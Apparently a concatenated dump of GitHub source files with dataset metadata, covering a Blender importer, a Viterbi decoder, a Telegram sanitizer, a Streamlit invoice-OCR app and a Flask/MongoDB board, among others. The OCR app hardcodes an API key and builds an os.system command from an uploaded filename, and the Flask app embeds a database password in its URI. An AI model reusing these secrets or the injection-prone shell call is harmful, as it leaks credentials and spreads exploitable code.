root.mainloop()\n","repo_name":"hyperslab/conlang-archivist","sub_path":"conarch/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":20500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"25773330184","text":"bl_info = {\n\t'name': 'Load Obj Sequence as animation',\n\t'author': 'cmomoney',\n\t'version': (0, 2),\n\t'blender': (2, 6, 7),\n\t'category': 'Import-Export',\n\t'location': 'File > Import/Export',\n\t'wiki_url': ''}\n\n# ##### BEGIN GPL LICENSE BLOCK #####\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# ##### END GPL LICENSE BLOCK #####\n\nimport bpy, os\nfrom bpy.props import *\n\n\nclass LoadObjAsAnimation(bpy.types.Operator):\n\tbl_idname = 'load.obj_as_anim'\n\tbl_label = 'Import OBJ as Animation'\n\tbl_options = {'REGISTER', 'UNDO'}\n\tbl_description = \"Import Obj sequence as animation(s)\"\n\tcFrame = 0\n\tfilepath = StringProperty(name=\"File path\", description=\"Filepath of Obj\", maxlen=4096, default=\"\")\n\tfilter_folder = BoolProperty(name=\"Filter folders\", description=\"\", default=True, options={'HIDDEN'})\n\tfilter_glob = StringProperty(default=\"*.obj\", options={'HIDDEN'})\n\tfiles = CollectionProperty(name='File path', type=bpy.types.OperatorFileListElement)\n\tfilename_ext = '.obj'\n\tobjects = []\n\t@classmethod\n\tdef poll(cls, context):\n\t\treturn True\n\n\tdef execute(self, context):\n\t\tself.objects=[]\n\t\t#get file names, sort, and set target mesh\n\t\tspath = os.path.split(self.filepath)\n\t\tfiles = [file.name for file in self.files]\n\t\tfiles.sort()\n\t\t#add all objs to scene\n\t\tfor f in files:\n\t\t\tfp = spath[0] + \"/\" + f\n\t\t\tself.load_obj(fp,f)\n\t\t\n\t\tbpy.context.scene.frame_set(0)\n\t\tfor i, ob in enumerate(self.objects):\n\t\t\tif i == 0:\n\t\t\t\tcontinue\n\t\t\tob.hide = ob.hide_render = True\n\t\t\tob.keyframe_insert(data_path='hide')\n\t\t\tob.keyframe_insert(data_path='hide_render')\n\n\t\tfor f, ob in enumerate(self.objects):\n\t\t\tif f == 0:\n\t\t\t\tcontinue\n\t\t\t# increment current frame to insert keyframe\n\t\t\tbpy.context.scene.frame_set(f)\n\n\t\t\t# Insert only as many keyframes as really needed\n\t\t\tob_prev = self.objects[f-1]\n\t\t\tob_prev.hide = ob_prev.hide_render = True\n\t\t\tob_prev.keyframe_insert(data_path='hide')\n\t\t\tob_prev.keyframe_insert(data_path='hide_render')\n\t\t\t\n\t\t\tob = self.objects[f]\n\t\t\tob.hide = ob.hide_render = False\n\t\t\tob.keyframe_insert(data_path='hide')\n\t\t\tob.keyframe_insert(data_path='hide_render')\n\n\t\t# this sets last frame to the last object -- G.Lopez\n\t\tnumOfFrames = len(self.objects)\n\t\tbpy.context.scene.frame_end = numOfFrames - 1\n\t\t\t\t\n\t\treturn{'FINISHED'}\n\n\tdef invoke(self, context, event):\n\t\twm = context.window_manager.fileselect_add(self)\n\t\treturn {'RUNNING_MODAL'}\n\n\tdef load_obj(self, fp,fname):\n\t\tbpy.ops.object.select_all(action='DESELECT')\n\t\tbpy.ops.import_scene.obj(filepath=fp, filter_glob=\"*.obj;*.mtl\", use_edges=True, use_smooth_groups=True, use_split_objects=True, use_split_groups=True, use_groups_as_vgroups=False, use_image_search=True, split_mode='ON', global_clamp_size=0, axis_forward='Y', axis_up='Z')\n\t\tself.objects.append(bpy.context.selected_objects[0])\n\t\treturn \ndef menu_func_import(self, context):\n\tself.layout.operator(LoadObjAsAnimation.bl_idname, text=\"Obj As Animation\")\n\ndef register():\n\tbpy.utils.register_class(LoadObjAsAnimation)\n\tbpy.types.INFO_MT_file_import.append(menu_func_import)\n\ndef unregister():\n\tbpy.utils.unregister_class(LoadObjAsAnimation)\n\tbpy.types.INFO_MT_file_import.remove(menu_func_import)\n\nif __name__ == \"__main__\":\n\tregister()\n","repo_name":"sueda/brender","sub_path":"python/legacy/brender_imports/blender_import_obj_anim.py","file_name":"blender_import_obj_anim.py","file_ext":"py","file_size_in_byte":3839,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"68"} +{"seq_id":"11885330927","text":"from Tools import H_compare\r\nfrom Trellis import C_trellis\r\nfrom Conv_dec import Conv_recode\r\nfrom Viterbi_dec import CV_Decoding, V_Decoding\r\n\r\ndef Viterbi_HIHO(size, m, n):\r\n a = Conv_recode(size, m, n)\r\n U_num, M1, U0 = a.Conv_recode() # get the received symbols\r\n\r\n a, b = C_trellis(m, U_num) # construct viterbi trellis\r\n # U_mes = V_Decoding(a, b, U_num, M1, m)\r\n U_mes = CV_Decoding(a, b, U_num, M1, m) # viterbi decoding(HI-HO\r\n U_mes = U_mes[: (U_num - m)] # Delete redundant code words\r\n print('HI-HO Viterbi decoding result:', U_mes)\r\n\r\n Pe = H_compare(U0, U_mes) / (len(U0) - m)\r\n print('Pe =', Pe)\r\n print('over!')\r\n\r\n\r\n","repo_name":"little-old-six/Viterbi-Decoding-Algorithm-Python","sub_path":"Viterbi/Viterbi_main.py","file_name":"Viterbi_main.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"72808131417","text":"# Problem-4: Get the total count of number list in the dictionary which is multiple of [1,2,3,4,5,6,7,8,9]\n# (examples)\n# input: [1,2,8,9,12,46,76,82,15,20,30]\n# Output:\n# {1: 11, 2: 8, 3: 4, 4: 4, 5: 3, 6: 2, 7: 0, 8: 1, 9: 1}\n\ndef checkMultiple(num, input_arr):\n value = 0\n for i in input_arr:\n if i%num == 0:\n value += 1\n return value\n\ninput_arr = list(map(int, input('\\nEnter the numbers: ').replace(',', ' ').strip().split()))\noutput = {}\n\nfor i in range(1, 10):\n output[i] = checkMultiple(i, input_arr)\n\nprint(output)\n","repo_name":"NidishM/t2021-2-1","sub_path":"Program-4.py","file_name":"Program-4.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"4918403218","text":"from fich04.ex04_deque import Deque\n\n\ndef palchecker(aString):\n aString = aString.replace(\" \", \"\")\n chardeque = Deque()\n\n for ch in aString:\n chardeque.addRear(ch)\n\n still_equal = True\n\n while chardeque.size() > 1 and still_equal:\n first = chardeque.removeFront()\n last = chardeque.removeRear()\n if first != last:\n still_equal = False\n\n return still_equal\n\n\nprint(palchecker(\"lsdkjfskf\"))\nprint(palchecker(\"radar\"))\nprint(palchecker(\"I PREFER PI\"))\n","repo_name":"TsundereGamer/AED","sub_path":"fich04/ex05b_palindromo.py","file_name":"ex05b_palindromo.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"5219093978","text":"import base64\nimport io\nfrom typing import Tuple\n\nfrom geojson import Polygon as geojson_polygon\nimport numpy as np\nfrom PIL import Image\nfrom shapely.geometry import Polygon as shapely_polygon\nfrom skimage import measure\n\n\ndef decode_image(b64data: str):\n return np.array(Image.open(io.BytesIO(base64.b64decode(b64data))))\n\n\ndef mask_to_geometry(\n mask: np.ndarray,\n scale: float = 1.0,\n offset: Tuple[int, int] = (0, 0),\n simplify_tol=None,\n):\n # modified from https://github.com/MouseLand/cellpose_web/blob/main/utils.py\n mask = np.pad(mask, 1) # handle edges properly by zero-padding\n contours_find = measure.find_contours(mask, 0.5)\n if len(contours_find) == 1:\n index = 0\n else:\n pixels = []\n for _, item in enumerate(contours_find):\n pixels.append(len(item))\n index = np.argmax(pixels)\n contour = contours_find[index]\n contour -= 1 # reset padding\n contour_as_numpy = contour[:, np.argsort([1, 0])]\n contour_as_numpy *= scale\n contour_as_numpy[:, 0] += offset[0]\n contour_as_numpy[:, 1] += offset[1]\n contour_asList = contour_as_numpy.tolist()\n if simplify_tol is not None:\n poly_shapely = shapely_polygon(contour_asList)\n poly_shapely_simple = poly_shapely.simplify(\n simplify_tol, preserve_topology=False\n )\n contour_asList = list(poly_shapely_simple.exterior.coords)\n return geojson_polygon([contour_asList])\n","repo_name":"ksugar/samapi","sub_path":"src/samapi/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"68"} +{"seq_id":"30264893192","text":"from andr_omeda.andr_update.models import Update, Message, Chat, Andruser, Poll, \\\n InlineQuery\nfrom andr_omeda.utils.colorify import colorify\n\n\"\"\"iterating through all request data will not be necessary,\n as the depth of a certain value is already known from\n docs\n\"\"\"\ndef id_key_sanitize_for_value(data , telegramIdKey, \\\n AndromedaIdKey, key1=None, key2=None, key3=None):\n if key1 and data.get(key1, None):\n if not key2:\n if not data[key1].get(telegramIdKey, None):\n raise Exception(\"Andr_update utils Error\")\n data[key1][AndromedaIdKey] = data[key1][telegramIdKey]\n del data[key1][telegramIdKey]\n elif key2 and not key3:\n if not data[key1].get(key2, None):\n raise Exception(\"Andr_update utils Error\")\n data[key1][key2][AndromedaIdKey] = data[key1][key2][telegramIdKey]\n del data[key1][key2][telegramIdKey]\n else:\n if not data[key1].get(key2, None) and \\\n not data[key1].get(key2, None).get(key3, None):\n raise Exception(\"Andr_update utils Error\")\n data[key1][key2][key3][AndromedaIdKey] = data[key1][key2][key3][telegramIdKey]\n del data[key1][key2][key3][telegramIdKey]\n\n\n\n##################################################################################\n##################################################################################\n##################################################################################\n\ndef is_entities__users(l):\n for u in l:\n if u:\n return True\n return False\n##################################################################################\n##################################################################################\n##################################################################################\ndef unicity_sanitize(req_data=None):\n \"\"\"\n req_data: {'message':{'message_id':123456, ...}, '_id':123456789}\n \"\"\"\n req_data = InlineQuery.inlinequery_validation( req_data )\n \n\n this__unicity = {}\n this__lists = {}\n this__specials = {}\n for update_attr in Update.get_need_sanitize_attrs():\n if isinstance(update_attr, tuple):\n if not req_data.get(update_attr[0], None):\n continue \n if not req_data[update_attr[0]].get(update_attr[1], None):\n continue \n\n for group in Message.get_message_with_id_attrs():\n for id_able in group:\n if 'chat' in group:\n this__unicity = Chat.context_chat_unicity_check_for_field_and_context(\n req_data[update_attr[0]][update_attr[1]],\n this__unicity,\n id_able,\n update_attr[1]\n )\n if 'user' in group:\n this__unicity = Andruser.context_user_unicity_check_for_field_and_context(\n req_data[update_attr[0]][update_attr[1]],\n this__unicity,\n id_able,\n update_attr[1]\n )\n continue\n\n\n\n\n\n #############################\n if not req_data.get(update_attr, None):\n continue \n\n req_data[update_attr] = Andruser.from_user_sanitize( req_data[update_attr] )\n req_data[update_attr] = Poll.poll_id_sanitize( req_data[update_attr] )\n\n this__lists = Poll.extract_lists( req_data[update_attr], this__lists )\n if update_attr in Update.get_need_sanitize_attrs()[:4]:\n this__lists, this__specials = Message.extract_lists( req_data[update_attr], this__lists, this__specials )\n \n \n if req_data[update_attr].get('pinned_message', None):\n this__unicity[update_attr + '__' + 'pinned_message'] = \\\n req_data[update_attr]['pinned_message']['message_id']\n del req_data[update_attr]['pinned_message']\n \n if req_data[update_attr].get('reply_to_message', None):\n this__unicity[update_attr + '__' + 'reply_to_message'] = \\\n req_data[update_attr]['reply_to_message']['message_id']\n del req_data[update_attr]['reply_to_message']\n #############################\n \n for group in Message.get_message_with_id_attrs():\n for id_able in group:\n if 'chat' in group:\n this__unicity = Chat.context_chat_unicity_check_for_field_and_context(\n req_data[update_attr],\n this__unicity,\n id_able,\n update_attr\n )\n if 'user' in group:\n this__unicity = Andruser.context_user_unicity_check_for_field_and_context(\n req_data[update_attr],\n this__unicity,\n id_able,\n update_attr\n )\n this__context = {'validated_data': req_data, 'unicity': this__unicity, 'lists': this__lists, 'specials': this__specials}\n return this__context\n \n\n","repo_name":"IhebTrabelsi/andr_omeda","sub_path":"andr_omeda/andr_update/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"27966457656","text":"def PrintProbability(number):\n if number < 1:\n return\n g_maxValue = 6\n probability1 = [0 for _ in range(g_maxValue * number +1)]\n probability2 = [0 for _ in range(g_maxValue * number +1)]\n probability = [probability1, probability2]\n flag = 0\n for i in range(1, g_maxValue + 1):\n probability[flag][i] = 1\n for k in range(2, number + 1):\n for i in range(k):\n probability[1-flag][i] = 0\n for i in range(k, g_maxValue * k + 1):\n probability[1-flag][i] = 0\n j = 1\n while j <= i and j <= g_maxValue:\n probability[1-flag][i] += probability[flag][i-j]\n j += 1\n flag = 1 - flag\n total = g_maxValue ** number\n for i in range(number, g_maxValue * number + 1):\n ratio = probability[flag][i] / total\n print(\"{}:{}\".format(i, ratio))\n\n\nif __name__ == '__main__':\n PrintProbability(2)","repo_name":"Explorerqxy/review_practice","sub_path":"057.py","file_name":"057.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"14099128298","text":"import streamlit as st\nfrom pdf2image import convert_from_path\nimport base64\nfrom io import BytesIO\nimport requests\nimport time\nimport json\nimport pandas as pd\nimport os\n\nfrom collections import namedtuple\nimport warnings\n\nanalyzedDocument = namedtuple('AnalyzedDocument', 'words tags')\n\n\nst.set_page_config(\n page_title=\"NeuroData Extractor Demo\", layout=\"wide\", page_icon=\"./images/logo.png\"\n)\n\nst.title(\"NeuroData Extractor Demo\")\nst.subheader(\"\")\n\n\nst.markdown(\"---\")\n\n\nst.sidebar.image(\"images/logo.png\", width=120)\nst.sidebar.title(\"PDF Scraper For Businesses\")\nst.sidebar.image(r\"images/extractor.gif\")\nst.sidebar.title(\"Reduce your manual data entry costs\")\nst.sidebar.image(r\"images/ocr_illustration.gif\")\n\n\nCLIENT_ID = \"vrfncE0Py8CCX8fzP5CoClKhOvVhngBcsvncwfh\"\nENVIRONMENT_URL = \"api.veryfi.com\"\nusername = \"contact.neurodata\"\napi_key = \"501237936122316437457a0df27a20e9\"\nprocess_file_url = 'https://{0}/api/v7/partner/documents/'.format(ENVIRONMENT_URL)\nheaders = {\n \"Accept\": \"application/json\",\n \"CLIENT-ID\": CLIENT_ID,\n \"AUTHORIZATION\": \"apikey {0}:{1}\".format(username, api_key)\n}\n\nimg_file_buffer = st.file_uploader(\"Upload Your Invoice\", type=[\"png\", \"jpg\", \"jpeg\", \"pdf\"])\n\ntic = time.time()\nif img_file_buffer is not None:\n file_details = {\"FileName\": img_file_buffer.name, \"FileType\": img_file_buffer.type}\n\n with open(os.path.join(\"tempDir\", img_file_buffer.name.split(\".\")[0].split(\" \")[0]+\".pdf\"), \"wb\") as f:\n f.write(img_file_buffer.getbuffer())\n st.success(\"Saved File\")\n st.markdown(\"---\")\n # Store Pdf with convert_from_path function\n fn = \"./tempDir/\" + img_file_buffer.name.split(\".\")[0].split(\" \")[0]+\".pdf\"\n print(fn)\n\n os.system('convert ' +\n '-density 300 ' +\n '%s ' % fn +\n '-quality 100 ' +\n '-flatten ' +\n '%s' % fn.replace('.pdf', '.jpg'))\n\n\n image_path = \"tempDir/\" + img_file_buffer.name.split(\".\")[0].split()[0] + '.jpg'\n file_name = img_file_buffer.name.split(\".\")[0] + '.jpg'\n c =st.beta_columns(10)\n if c[4].button(\"Process Your Invoices\"):\n # You can send the list of categories that is relevant to your case\n # Veryfi will try to choose the best one that fits this document\n categories = [\"Office Expense\", \"Meals & Entertainment\", \"Utilities\", \"Automobile\"]\n payload = {\n 'file_name': file_name,\n 'categories': categories\n }\n files = {'file': ('file', open(image_path, 'rb'), \"image/jpeg\")}\n response = requests.post(url=process_file_url, headers=headers, data=payload, files=files)\n\n df = response.json()\n dd = {}\n for key, value in df.items():\n if key == \"vendor\":\n for k, v in df[\"vendor\"].items():\n dd[k] = v\n if key == \"line_items\":\n for k, v in df[\"line_items\"][0].items():\n dd[k] = v\n else:\n dd[key] = value\n attributes = [\"bill_to_address\",\"bill_to_name\",\"currency_code\",\"invoice_number\",\"description\",\"quantity\",\"tax\",\"tax_rate\",\"total\",\"type\",\"subtotal\",\"vendor_reg_number\"]\n values = [dd[k] for k in attributes]\n df = pd.DataFrame([values], columns=attributes)\n st.dataframe(df, width=4000)\n\n\n def tto_excel(df):\n output = BytesIO()\n writer = pd.ExcelWriter(output, engine='xlsxwriter')\n df.to_excel(writer, sheet_name='Sheet1')\n writer.save()\n processed_data = output.getvalue()\n return processed_data\n\n\n def get_table_download_link(df):\n \"\"\"Generates a link allowing the data in a given panda dataframe to be downloaded\n in: dataframe\n out: href string\n \"\"\"\n val = tto_excel(df)\n b64 = base64.b64encode(val) # val looks like b'...'\n return f'Download file'\n\n\n c = st.beta_columns(10)\n c[4].markdown(get_table_download_link(df), unsafe_allow_html=True)\n","repo_name":"NeuroData-ltd/extractor-demo","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"271600315","text":"import numpy as np\nimport torchvision\nfrom scipy.spatial.transform import Rotation as R\nimport math\nimport json as js\nimport random\n\ndef cast_to_image(tensor):\n img = tensor.clamp(0.0, 1.0).detach().cpu().numpy()\n return img # (H, W, 3) or (H, W)\n\n\ndef explicit_pose_control(pose_matrix, angle):\n \"\"\"\n Input:\n rot_matrix: Original Rotation Matrix\n pose_matrix: Angle to change for each axis (Radian)\n Output:\n pose_matrix_list: yaw, pitch, roll을 각각 angle만큼 변경한 rotation matrix의 List\n \"\"\"\n \n trans= pose_matrix[:, -1]\n rot_matrix = pose_matrix[..., :-1]\n \n radian = (angle / 180) * math.pi\n rot_vec_org = R.from_matrix(rot_matrix).as_rotvec()\n \n pose_matrix_list = []\n pose_matrix_list.append(pose_matrix)\n \n for i in range(3):\n rot_vec_pos = rot_vec_org.copy()\n rot_vec_neg = rot_vec_org.copy()\n \n rot_vec_pos[i] += radian\n rot_vec_neg[i] -= radian\n\n rot_mat_pos = np.hstack((R.from_rotvec(rot_vec_pos).as_matrix(), trans[:, None]))\n rot_mat_neg = np.hstack((R.from_rotvec(rot_vec_neg).as_matrix(), trans[:, None]))\n\n pose_matrix_list += [rot_mat_pos, rot_mat_neg]\n\n return pose_matrix_list\n\ndef explicit_expr_control(expr_vector, ctrl_num):\n \n minmax_info_path = 'NerFACE_pl/3dmm_expr_minmax.json'\n \n with open(minmax_info_path, \"r\") as json_file:\n minmax_data = js.load(json_file)\n \n idx_list = random.sample(range(77), ctrl_num)\n expr_list = []\n neutral_expr = np.zeros_like(expr_vector)\n \n \n for i in range(ctrl_num):\n expr_p = neutral_expr.copy()\n expr_n = neutral_expr.copy()\n \n ctrl_loc = idx_list[i]\n \n expr_p[ctrl_loc] = minmax_data['max'][ctrl_loc]\n expr_n[ctrl_loc] = minmax_data['min'][ctrl_loc]\n \n expr_list += [expr_p, expr_n]\n \n return expr_list\n \n\n\nif __name__ == \"__main__\":\n #rot_matrix = np.ones((3, 4))\n #angle = 30\n #pose_matrix_list = rotation_yaw_perturb(rot_matrix, angle)\n pass","repo_name":"summertight/NerFACE_pl","sub_path":"utils/visualizer.py","file_name":"visualizer.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"68"} +{"seq_id":"33364330015","text":"import os\nfrom app import app\nfrom flask import render_template, request, redirect\n\nevents = [\n {\"event\":\"First Day of Classes\", \"date\":\"2019-08-21\"},\n {\"event\":\"Winter Break\", \"date\":\"2019-12-20\"},\n {\"event\":\"Finals Begin\", \"date\":\"2019-12-01\"}\n ]\n\n\nfrom flask_pymongo import PyMongo\n\n# name of database\napp.config['MONGO_DBNAME'] = 'database-name'\n\n# URI of database\napp.config['MONGO_URI'] = 'mongodb+srv://admin:SUdKE0PRiU1r4Ihv@cluster0-f3oyp.mongodb.net/test?retryWrites=true&w=majority'\n\n# mongo is an instance of the PyMongo class\nmongo = PyMongo(app)\n\n\n# INDEX\n\n@app.route('/')\n@app.route('/index')\n\ndef index():\n # connect to the MONGO_DB\n collection = mongo.db.events\n # find all events in database using a query\n # {} will return everything in the database\n events = list(collection.find({}))\n return render_template('index.html', events = events)\n\n\n# CONNECT TO DB, ADD DATA\n\n@app.route('/add')\n\ndef add():\n # connect to the database\n collection = mongo.db.events\n # insert new data\n collection.insert({\"event_name\": \"test\", \"event_date\": \"today\"})\n # return a message to the user\n return \"you added an event to the database! go check it!!\"\n\n# need a get and a post method\n@app.route('/results', methods = [\"get\", \"post\"])\ndef results():\n # store userinfo from the form\n user_info = dict(request.form)\n print(user_info)\n #store the event_name\n event_name = user_info[\"event_name\"]\n print(\"the event name is \", event_name)\n #store the event_date\n event_date = user_info[\"event_date\"]\n print(\"the event date is \", event_date)\n # store category\n category = user_info[\"category\"]\n print(\"the category is \", category)\n # store price\n cost = user_info[\"cost\"]\n print(\"the price is \", cost)\n #connect to Mongo DB\n collection = mongo.db.events\n #insert the user's input event_name and event_date to MONGO, add category in database\n collection.insert({\"event_name\": event_name, \"event_date\": event_date, \"category\": category, \"cost\": cost})\n #(so that it will continue to exist after this program stops)\n events = list(collection.find({}))\n return render_template('index.html', events = events)\n\n\n@app.route('/delete_all')\ndef delete_all():\n # connect to MONGO_DB\n # collection - is storing the data in mongo\n collection = mongo.db.events\n # delete everything\n # google search terms pymongo delete many objects from database\n # the {} find all objects in the database to delete them\n collection.delete_many({})\n # redirect back to index page**\n return redirect('/index')\n\n@app.route('/input_event')\ndef input_event():\n return render_template('event.html')\n\n@app.route('/diff_category')\ndef diff_category():\n return render_template('category.html')\n\n\n@app.route('/filter', methods = [\"get\", \"post\"])\ndef filter():\n user_info = dict(request.form)\n print(user_info)\n collection = mongo.db.events\n category = user_info[\"category\"]\n print(category)\n school_events = list(collection.find({\"category\": category}))\n print(school_events)\n return render_template('filter.html', events = school_events, category = category)\n","repo_name":"2021ssoh/community-events-board","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"40791099968","text":"import glob\nimport os\nimport os.path\nimport shutil\nimport sys\n\nfrom setuptools import setup\nfrom setuptools.extension import Extension\nfrom setuptools.command.build_ext import build_ext\nfrom setuptools.command.install import install\nfrom setuptools.command.sdist import sdist\nfrom distutils.command.clean import clean\n\n\nVERSION = '1.1.1'\nMPACK_VERSION = '1.0.5'\nREPO = 'https://github.com/libmpack/libmpack-python'\n\n\nclass Clean(clean):\n def run(self):\n if os.path.exists('.gitignore'):\n files = []\n with open('.gitignore') as gitignore:\n for pattern in gitignore:\n for f in glob.glob(pattern.strip()):\n if os.path.isdir(f): shutil.rmtree(f)\n elif os.path.isfile(f): os.unlink(f)\n clean.run(self)\n\n\nextension_src = 'mpack/_mpack.c'\nextensions = [Extension(\"mpack._mpack\", [extension_src])]\n\n\ndef _download_mpack():\n import tarfile\n if sys.version_info >= (3, 0):\n import urllib.request as urllib\n else:\n import urllib\n url = 'https://github.com/libmpack/libmpack/archive/{}.tar.gz'.format(\n MPACK_VERSION)\n print('downloading libmpack...')\n file_tmp = urllib.urlretrieve(url, filename=None)[0]\n print('extracting libmpack...')\n tar = tarfile.open(file_tmp)\n tar.extractall('mpack')\n directory = glob.glob('mpack/libmpack*')[0]\n shutil.move(directory, 'mpack/mpack-src')\n\ndef _autopxd():\n from autopxd import translate\n # due to some current limitations in autopxd, we must change\n # directories to ensure the pxd is generated with the correct includes\n cwd = os.getcwd()\n os.chdir('mpack')\n mpack_src = 'mpack-src/src/mpack.c'\n with open(mpack_src) as f:\n hdr = f.read()\n with open('_cmpack.pxd', 'w') as f:\n f.write(translate(hdr, mpack_src))\n os.chdir(cwd)\n\ndef _cythonize():\n from Cython.Build import cythonize\n kwargs = {\n 'gdb_debug': True,\n 'language_level': 3\n }\n if os.getenv('NDEBUG', False):\n kwargs['gdb_debug'] = False\n cythonize([Extension('mpack._mpack', ['mpack/_mpack.pyx'])], **kwargs)\n\ndef _should_download_mpack():\n return not os.path.exists('mpack/mpack-src/src/mpack.c')\n\ndef _should_autopxd():\n return not os.path.exists('mpack/_cmpack.pxd')\n\ndef _should_cythonize():\n try:\n import Cython.Build\n except ImportError:\n return False\n return (not os.path.exists(extension_src)\n or os.environ.get('CYTHONIZE_MPACK', None) is not None)\n\ndef with_hooks(cmdclass):\n class Sub(cmdclass):\n def run(self):\n if _should_cythonize():\n _cythonize()\n cmdclass.run(self)\n\n return Sub\n\n\ndef datafiles():\n if _should_download_mpack():\n _download_mpack()\n if _should_autopxd():\n _autopxd()\n if _should_cythonize():\n _cythonize()\n dataexts = (\".c\", \".h\", \".pxd\", \".pyx\")\n datafiles = []\n getext = lambda filename: os.path.splitext(filename)[1]\n for datadir in ['mpack']:\n datafiles.extend([(\n root, [os.path.join(root, f)\n for f in files if getext(f) in dataexts])\n for root, dirs, files in os.walk(datadir)])\n return datafiles\n\n\nif __name__ == '__main__':\n setup(\n name=\"mpack\",\n version=VERSION,\n description=\"Python binding to libmpack\",\n packages=['mpack'],\n ext_modules=extensions,\n data_files=datafiles(),\n install_requires=['future'],\n url=REPO,\n download_url='{0}/archive/{1}.tar.gz'.format(REPO, VERSION),\n license='MIT',\n cmdclass={\n 'build_ext': with_hooks(build_ext),\n 'clean': Clean,\n },\n author=\"Thiago de Arruda\",\n author_email=\"tpadilha84@gmail.com\"\n )\n","repo_name":"libmpack/libmpack-python","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3826,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"68"} +{"seq_id":"29426944739","text":"# 猜单词游戏\nimport random\n# 建立单词库\nwords = [\"apple\", \"banana\", \"cat\", \"dog\", \"echo\", \"fruit\", \"program\", \"tiger\", \"king\", \"queen\"]\n# 随机选取单词\nword = words[random.randint(0, len(words) - 1)]\n# 允许猜错次数\ntimes = 5\nprint(\"您有\" + times.__str__() + \"次机会\")\n# 显示结果\nwordList = list(\"-\" * len(word))\nprint(\"\".join(wordList))\n# 游戏开始\nwhile True:\n # 当允许猜错次数耗尽时,游戏结束\n if times == 0:\n print(\"游戏结束,正确答案:\" + word)\n break\n # 等待用户输入\n char = input(\"请输入一个字母:\")\n # 判断用户输入内容格式正确\n if not char.isalpha() or len(char) != 1:\n print(\"请不要输入非字母或多个字母\")\n continue\n # 判断用户输入的字母是否存在于目标单词中\n if char in word:\n print(\"正确\")\n # 若用户输入的字母存在于目标单词中,则更新显示结果\n for i in range(len(word)):\n if char == word[i]:\n wordList[i] = char\n else:\n # 若用户输入的字母不存在于目标单词中,则允许猜错次数减少1\n times -= 1\n print(\"您有\" + times.__str__() + \"次机会\")\n # 显示结果\n print(\"\".join(wordList))\n # 当全部字母被猜中时,游戏胜利\n if \"-\" not in wordList:\n print(\"游戏胜利\")\n break\n","repo_name":"jingdianxi/python","sub_path":"word.py","file_name":"word.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"12825940544","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\n# Import sundry Python packages\nimport os, sys, re, shutil\nimport subprocess as sp\n\n\n#\n# Main\n#\n\nif __name__ == \"__main__\":\n\tif len(sys.argv) < 4:\n\t\tprint(\"Please provide the source directory, two non-existant directory \"\n\t\t \"paths as well as configuration flags for a reproducible build test.\")\n\t\tsys.exit(1)\n\t\n\tsources = sys.argv[1]\n\tfolderA = sys.argv[2]\n\tfolderB = sys.argv[3]\n\t\n\tif os.path.exists(folderA):\n\t\tprint(\"The folder \\'\"+folderA+\"\\' already exists!\")\n\t\tsys.exit(1)\n\tif os.path.exists(folderB):\n\t\tprint(\"The folder \\'\"+folderB+\"\\' already exists!\")\n\t\tsys.exit(1)\n\tif folderA == folderB:\n\t\tprint(\"The two folders cannot match!\")\n\t\tsys.exit(1)\n\t\n\tsources = os.path.abspath(sources)\n\tfolderA = os.path.abspath(folderA)\n\tfolderB = os.path.abspath(folderB)\n\tfolderABuild = os.path.join(folderA, \"build\")\n\tfolderAInstall = os.path.join(folderA, \"install\")\n\tfolderBBuild = os.path.join(folderB, \"build\")\n\tfolderBInstall = os.path.join(folderB, \"install\")\n\tos.mkdir(folderA)\n\tos.mkdir(folderABuild)\n\tos.mkdir(folderAInstall)\n\t\n\t\n\t\n\t# Build A\n\tcmdLine = [\"meson\", sources, \"--prefix=\"+folderAInstall] + sys.argv[4:]\n\tprocCfgA = sp.Popen(cmdLine, cwd=folderABuild)\n\tif procCfgA.wait() != 0:\n\t\tprint(\"Error during Meson configuration!\")\n\t\tsys.exit(1)\n\t\n\tprocBuildA = sp.Popen([\"ninja\"], cwd=folderABuild)\n\tif procBuildA.wait() != 0:\n\t\tprint(\"Error during Ninja build!\")\n\t\tsys.exit(1)\n\t\n\tprocInstallA = sp.Popen([\"ninja\", \"install\"], cwd=folderABuild)\n\tif procInstallA.wait() != 0:\n\t\tprint(\"Error during Ninja install!\")\n\t\tsys.exit(1)\n\t\n\t# Move\n\tshutil.move(folderA, 